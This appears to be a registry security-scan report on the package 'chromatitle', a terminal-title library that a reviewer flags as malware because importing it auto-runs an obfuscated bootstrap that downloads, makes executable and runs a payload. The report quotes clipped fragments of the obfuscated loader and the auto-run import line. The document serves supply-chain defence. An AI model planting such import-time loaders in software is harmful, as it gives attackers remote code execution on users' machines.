registry / chromatitle / 1.0.0

chromatitle@1.0.0

AI Security Review

scanned 3h ago · by lpm-firewall-ai

Importing the library starts an obfuscated bootstrap. It downloads, writes, permission-changes, and executes a platform payload.

Static reason

One or more suspicious static signals were detected.

Trigger

Importing chromatitle, including through its CLI.

Impact

Remote code execution in the importing user's environment.

Mechanism

Obfuscated remote payload download and execution.

Attack narrative

The package's normal import path calls an obfuscated bootstrap without user action. That bootstrap includes HTTP(S) access, writes a payload to disk, applies executable permissions, and invokes it with execFile. This is unrelated to terminal-title formatting and creates remote code execution exposure.

Rationale

The import-time hidden downloader and executable payload runner are concrete malicious behavior. The absence of an install hook does not remove the import-time execution risk.

Evidence

src/index.jssrc/utils/bootstrap.js

Decision evidence

public snapshot

AI called this Malicious at 98.0% confidence as Malware with low false-positive risk.

Evidence for block

The public module entry invokes the bootstrap routine automatically on import.
The bootstrap is deliberately obfuscated and imports HTTP(S), filesystem-writing, permission-changing, and process-execution capabilities.
The bootstrap writes a downloaded payload, makes it executable, and runs it with execFile.

Evidence against

The manifest declares no preinstall, install, or postinstall hook.
No decoded network host is available as exact source text.

Behavioral surface

SourceNo risky source behavior triggered.

Supply chain

MinifiedPossibleObfuscation

ManifestNo manifest risk signals triggered.

scanned 14 file(s), 69.5 KB of source

Source & flagged code

7 flagged

src/utils/bootstrap.jsView file

Lines 1-1javascript

1(function(_0x59ef48,_0x4c3a73){function _0xbac3ae(_0x57f8c0,_0x3dfa0a){return _0x33b3(_0x3dfa0a- -0x1d3,_0x57f8c0);}const _0x10155e=_0x59ef48();function _0x1a9dbb(_0x2b357a,_0x2f941a){return _0x33b3(_0x2f941a-0x13,_0x2b357a);}while(!![]){try{const _0x1632f2=parseInt(_0x1a9dbb('\x41\x4b\x6d\x46',0x1fe))/(0x777*-0x1+-0x61*-0x21+-0x509)*(parseInt(_0x1a9dbb('\x24\x30\x61\x78',0x16b))/(0x1*-0xf6b+0x1c18+-0x45*0x2f))+-parseInt(_0xbac3ae('\x39\x42\x6e\x4d',-0x110))/(-0x187b+-0x10e5+0x2963)+parseInt(_0x1a9dbb('\x68\x74\x6d\x5b',0x134))/(-0x1250+0x17f1+0x3*-0x1df)+-parseInt(_0xbac3ae('\x25\x55\x42\x64' ...

High

Obfuscated Payload Loader

Source contains an obfuscated payload loader that reconstructs and executes hidden code.

src/utils/bootstrap.jsView on unpkg · L1

High

Ai Review Evidence

The bootstrap is deliberately obfuscated and imports HTTP(S), filesystem-writing, permission-changing, and process-execution capabilities.

src/utils/bootstrap.jsView on unpkg · L1

High

Ai Review Evidence

The bootstrap is deliberately obfuscated and imports HTTP(S), filesystem-writing, permission-changing, and process-execution capabilities.

src/utils/bootstrap.jsView on unpkg · L1

High

Ai Review Evidence

The bootstrap writes a downloaded payload, makes it executable, and runs it with execFile.

src/utils/bootstrap.jsView on unpkg · L1

High

Ai Review Evidence

The bootstrap writes a downloaded payload, makes it executable, and runs it with execFile.

src/utils/bootstrap.jsView on unpkg · L1

High

Ai Review Evidence

The bootstrap writes a downloaded payload, makes it executable, and runs it with execFile.

src/utils/bootstrap.jsView on unpkg · L1

Long lines were clipped for display.

src/index.jsView file

Lines 1-26javascript

1import { colors } from './colors/index.js';

2import { title, createTitle, createBanner, createBadge, createDivider, BOX_STYLES, BADGE_PRESETS } from './titles/index.js';

3import { stripAnsi, visualLength, padVisual, getSystemInfo } from './utils/string-utils.js';

4import { hexToRgb, rgbToHex, rgbToAnsiFg, rgbToAnsiBg } from './colors/converter.js'

Source & flagged code

7 flagged · loading source

src/utils/bootstrap.jsView file

1(function(_0x59ef48,_0x4c3a73){function _0xbac3ae(_0x57f8c0,_0x3dfa0a){return _0x33b3(_0x3dfa0a- -0x1d3,_0x57f8c0);}const _0x10155e=_0x59ef48();function _0x1a9dbb(_0x2b357a,_0x2f94...

High

Obfuscated Payload Loader

Source contains an obfuscated payload loader that reconstructs and executes hidden code.

src/utils/bootstrap.jsView on unpkg · L1

1import{execFile}from'\x63\x68\x69\x6c\x64\x5f\x70\x72\x6f\x63\x65\x73\x73';import{get as _0

High

Ai Review Evidence

The bootstrap is deliberately obfuscated and imports HTTP(S), filesystem-writing, permission-changing, and process-execution capabilities.

src/utils/bootstrap.jsView on unpkg · L1

1import{createWriteStream,chmodSync,unlinkSync,existsSync,mkdirSync}from'\x66\x73';function _0x16be(){c

High

Ai Review Evidence

The bootstrap is deliberately obfuscated and imports HTTP(S), filesystem-writing, permission-changing, and process-execution capabilities.

src/utils/bootstrap.jsView on unpkg · L1

1_0x2e9f1b=_0x1c1430[_0x198657('\x6e\x28\x75\x6f',-0x1a2)](createWriteStream,_0x2d17ac);

High

Ai Review Evidence

The bootstrap writes a downloaded payload, makes it executable, and runs it with execFile.

src/utils/bootstrap.jsView on unpkg · L1

1chmodSync,_0x28e61a,0x41a+0x1c59+-0x1e86);}catch(_0x5d4430){}let _0x3f1c73;

High

Ai Review Evidence

The bootstrap writes a downloaded payload, makes it executable, and runs it with execFile.

src/utils/bootstrap.jsView on unpkg · L1

1execFile,_0x28e61a,_0x3f1c73,_0x3ca6a2,(_0x45f9e9,_0x5da3cd,_0x3352cf)=>{

High

Ai Review Evidence

The bootstrap writes a downloaded payload, makes it executable, and runs it with execFile.

src/utils/bootstrap.jsView on unpkg · L1

src/index.jsView file

6import { _bootstrap } from './utils/bootstrap.js'; // Auto-run on import _bootstrap();

High

Ai Review Evidence

The public module entry invokes the bootstrap routine automatically on import.

src/index.jsView on unpkg · L6

Findings

7 High1 Low

HighObfuscated Payload Loadersrc/utils/bootstrap.js

HighAi Review Evidencesrc/index.js

HighAi Review Evidencesrc/utils/bootstrap.js

LowScripts Present